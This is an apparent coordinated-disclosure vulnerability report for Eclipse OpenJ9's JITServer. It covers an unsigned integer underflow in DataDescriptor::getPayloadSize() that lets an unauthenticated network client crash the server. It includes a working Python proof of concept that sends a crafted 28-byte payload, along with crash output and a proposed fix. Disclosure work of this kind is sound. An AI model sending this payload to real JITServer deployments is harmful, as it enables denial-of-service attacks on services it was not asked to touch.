## Basic information **Project name:** Eclipse OpenJ9 **Project id:** technology.openj9 ## What are the affected versions? Confirmed present in source at tag `openj9-0.62.0` (current/latest tag as of 2026-09-09). Dynamically reproduced (full crash, live stack trace) against the official prebuilt `ibm-semeru-runtimes:open-21.0.10_7.1-jdk` Docker image (bundled OpenJ9 0.57.0, source commit `f0754f410244ad2c42b07c5fe76983a3c7b61e87`) — the vulnerable function `DataDescriptor::getPayloadSize()` is unchanged between 0.57.0 and 0.62.0 (confirmed by direct source comparison). This is a **related but distinct** finding from the one I filed earlier today (JITServer integer-overflow infinite loop in `MessageBuffer::computeRequiredCapacity()`) — same subsystem (JITServer message parsing), different root cause, different sink, different impact (crash vs. permanent hang). ## Details of the issue **Title:** `DataDescriptor::getPayloadSize()`/`getNextDescriptor()` trust wire-controlled `_size`/`_paddingSize`/`_dataOffset` with no cross-field validation → unsigned integer underflow → multi-GB out-of-bounds heap read (crash) in JITServer message deserialization **Weakness:** CWE-191 (Integer Underflow) leading to CWE-125 (Out-of-bounds Read) — pre-authentication, network-reachable, unrecoverable process crash. Each JITServer message contains zero or more 8-byte `DataDescriptor` records, copied verbatim from the wire with **no validation of the relationship between their fields**: ```cpp struct DataDescriptor { private: DataType _type; // uint8_t uint8_t _paddingSize; // How many bytes are actually used for padding (0-3) uint8_t _dataOffset; // Offset from DataDescriptor to actual data uint8_t _vectorElementSize; // Size of an element for SIMPLE_VECTORs uint32_t _size; // Size of the data segment }; uint32_t getPayloadSize() const { return _size - _paddingSize - _dataOffset; } ``` (`runtime/compiler/net/Message.hpp`) `getPayloadSize()` computes `_size - _paddingSize - _dataOffset` as **unsigned 32-bit arithmetic**. All three operands are raw wire bytes with no enforced relationship anywhere in the receive path. Setting `_size=4, _paddingSize=255, _dataOffset=0` underflows to `4 - 255 = 0xFFFFFF05` (≈4.29 GB). When a message argument is unpacked via `getArgsRaw<std::string>()`, this reaches (`runtime/compiler/net/RawTypeConvert.hpp`): ```cpp template <> struct RawTypeConvert<const std::string> { static inline std::string onRecv(Message::DataDescriptor *desc) { TR_ASSERT(desc->getDataType() == Message::DataDescriptor::DataType::STRING, "onRecv type missmatch STRING"); return std::string(static_cast<char *>(desc->getDataStart()), desc->getPayloadSize()); } }; ``` `TR_ASSERT` is a debug-only macro, compiled out in a normal release build — so there is **no runtime check at all** in production. `std::string(dataStart, ~4GB)` performs a multi-GB forward read starting from a small (32KB) `MessageBuffer`-backed heap allocation, running off the end of that allocation into unmapped memory and causing SIGSEGV. **Reachability:** `ServerStream::readCompileRequest()` (`runtime/compiler/net/ServerStream.hpp`) is, per its own doc comment, the **first type of message received after a connection is established**. One of its legal branches, `MessageType::AOTCacheMap_request`, immediately calls `getArgsRaw<std::string>()` on attacker-supplied descriptor bytes — no compilation session, no client registration, and no prior valid exchange required. TLS is optional and off by default (`CommunicationStream::useSSL()` is false unless `-XX:JITServerSSLCert*`/`-XX:JITServerSSLKey*` are explicitly configured). **Dedup vs. CVE-2026-6918 / GHSA-q393-vr4c-969r:** I fetched the actual fix commit (`c53b6b93f422b77b3395a3464d5578b706e9a618`, PR #23801) for the only two existing GHSA advisories on this repo (confirmed via the GitHub Security Advisories API — only 2 exist for `eclipse-openj9/openj9`; the second, GHSA-ch6r-v7rg-4jqx/CVE-2026-16440, is an unrelated class-file-annotation-parser bug). That fix added exactly one bounds check inside `MessageBuffer::readData()` (the cursor-advance function used while walking already-received message descriptors during `deserialize()`), gating the cursor-advance call driven by `DataDescriptor._size` alone (the advisory's own PoC uses `_paddingSize=0, _dataOffset=0`, so no underflow was ever involved). It does **not** touch `Message.hpp`'s `DataDescriptor::getPayloadSize()`/`getNextDescriptor()`, or `RawTypeConvert.hpp` — confirmed unchanged, byte-for-byte, at `openj9-0.62.0`. This bug lives entirely in those untouched functions and fires at a completely different call site (`RawTypeConvert::onRecv<std::string>`, invoked during argument extraction, which never calls `MessageBuffer::readData()` at all — it reads directly via `desc->getDataStart()`/`getPayloadSize()` pointer arithmetic). **Chain potential:** the identical missing cross-field validation also reaches the `VECTOR`/`SIMPLE_VECTOR` handling in `RawTypeConvert.hpp`, where `getNextDescriptor()` walks `(this+1)+_size` repeatedly for an attacker-chosen count read from a nested descriptor — a second, more open-ended primitive (an attacker-directed heap walk reinterpreting arbitrary memory as further descriptors, recursively for nested `VECTOR`/`TUPLE` types) reachable via any JITServer RPC argument typed `std::vector<T>`. I have not dynamically confirmed this second path, but flagging it since it shares the identical root cause and is not addressed by fixing only the `STRING` case. **Suggested remediation:** Validate `_paddingSize + _dataOffset <= _size` (and the individual write-side invariants `_paddingSize <= 3`, `_dataOffset` in `{0,4}`) at the point `DataDescriptor` fields are populated in `Message::deserialize()`, before any `getPayloadSize()`/`getNextDescriptor()` call is reachable — rather than trusting the raw wire bytes as internally consistent. ## Steps to reproduce **Target:** Docker image `ibm-semeru-runtimes:open-21.0.10_7.1-jdk` (OpenJ9 0.57.0, commit `f0754f4102`) — chosen because it's an official, readily-runnable prebuilt binary; the vulnerable code is unchanged through `openj9-0.62.0`. ``` docker run -d --name jitserver-test2 -p 38401:38400 \ ibm-semeru-runtimes:open-21.0.10_7.1-jdk /opt/java/openjdk/bin/jitserver ``` **Enum ordinals used** (determined from source at the exact bundled commit, cross-checked against the compiled `libj9jit29.so` via string-presence grepping to resolve a `#ifdef` ambiguity — not assumed): `MessageType::AOTCacheMap_request = 233`, `DataDescriptor::DataType::STRING = 5`. **Exact 28-byte payload**, sent as the sole first bytes of one fresh TCP connection: ```python import struct, socket payload = struct.pack('<IIIHHBBBBI', 28, 0, 0, 233, 1, 5, 255, 0, 0, 4) + b'\x00\x00\x00\x00' # hex: 1c0000000000000000000000e900010005ff00000400000000000000 s = socket.create_connection(("127.0.0.1", 38401), timeout=5) s.sendall(payload) ``` Field breakdown: `serializedSize=28`, `MetaData._type=233` (`AOTCacheMap_request`), `numDataPoints=1`, one `DataDescriptor`: `_type=5` (`STRING`), `_paddingSize=255`, `_dataOffset=0`, `_size=4` → `getPayloadSize() = 4 - 255 - 0 = 0xFFFFFF05` (underflow). **Result:** the server crashed immediately with: ``` Type=Segmentation error vmState=0x00000000 J9Generic_Signal_Number=00000018 Signal_Number=0000000b Error_Value=00000000 Signal_Code=00000002 ... R13=00000000FFFFFF05 ----------- Stack Backtrace ----------- _ZN9JITServer10getArgsRawIJNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEEEESt5tupleIJDpT_EERKNS_7MessageE+0x167 (libj9jit29.so) _ZN9JITServer12ServerStream18readCompileRequestIJ...EEE+0x90 (libj9jit29.so) _ZN2TR30CompilationInfoPerThreadRemote12processEntryER21TR_MethodToBeCompiledRN2J917J9SegmentProviderE+0x415 (libj9jit29.so) ... __clone+0x44 (libc.so.6) ``` `Signal_Number=0000000b` = SIGSEGV — a real hardware fault, not a caught exception. The stack trace is a **verbatim match** to the predicted call chain (`getArgsRaw<std::string>` ← `ServerStream::readCompileRequest` ← `CompilationInfoPerThreadRemote::processEntry` ← ... ← `thread_wrapper` ← `__clone`). **`R13 = 0x00000000FFFFFF05` = 4294967045 decimal — exactly the hand-computed underflowed `getPayloadSize()` value**, captured live in a CPU register at the moment of the fault. Container transitioned from `running` to `exited` (exit code 255); the process was gone. **Negative control:** a fresh container sent a well-formed descriptor of the same message type (`_paddingSize=0, _dataOffset=0, _size=4`, with 4 real filler bytes so `getPayloadSize()=4` matches the actual data present) received a clean, spec-compliant `AOTCacheMap_reply` (message type 234, confirming the `AOTCacheMap_request=233` ordinal a third way) and the process remained alive and unaffected — isolating the fault specifically to the invalid `_paddingSize`/`_dataOffset`/`_size` relationship, not to `AOTCacheMap_request` handling in general. Full write-up with the complete crash dump, enum-derivation methodology, and baseline comparison, plus the two PoC scripts, are attached below. ## Do you know any mitigations of the issue? Validate `_paddingSize + _dataOffset <= _size` (and the write-side invariants `_paddingSize <= 3`, `_dataOffset` in `{0,4}`) immediately when `DataDescriptor` fields are populated during `Message::deserialize()`, rejecting the message with a normal protocol error if violated — before any code path that calls `getPayloadSize()`/`getNextDescriptor()` can be reached. As a defense-in-depth measure, the same validation should also cover the `VECTOR`/`SIMPLE_VECTOR` descriptor-walking path noted above under "Chain potential," since it shares the identical unchecked-field pattern. --- **Reported by:** Duc Anh Nguyen (VinSOC) — `@gladiator9797` — mra9797@gmail.com This is a follow-up to my earlier report today on the same JITServer subsystem (integer-overflow infinite loop in `MessageBuffer::computeRequiredCapacity()`). Happy to coordinate disclosure timing for both together if that's more convenient. ## Attachments [POC-openj9-jitserver-oob-read-crash.md](/uploads/e0c8a2b13e5c6f4457fb09ddb6d7387d/POC-openj9-jitserver-oob-read-crash.md)[send_crash_poc.py](/uploads/add061e68ede4ebff2c96e85c66ca8b1/send_crash_poc.py)[send_baseline.py](/uploads/ab5127ba17a346d48e2ad1ac1d3263c8/send_baseline.py)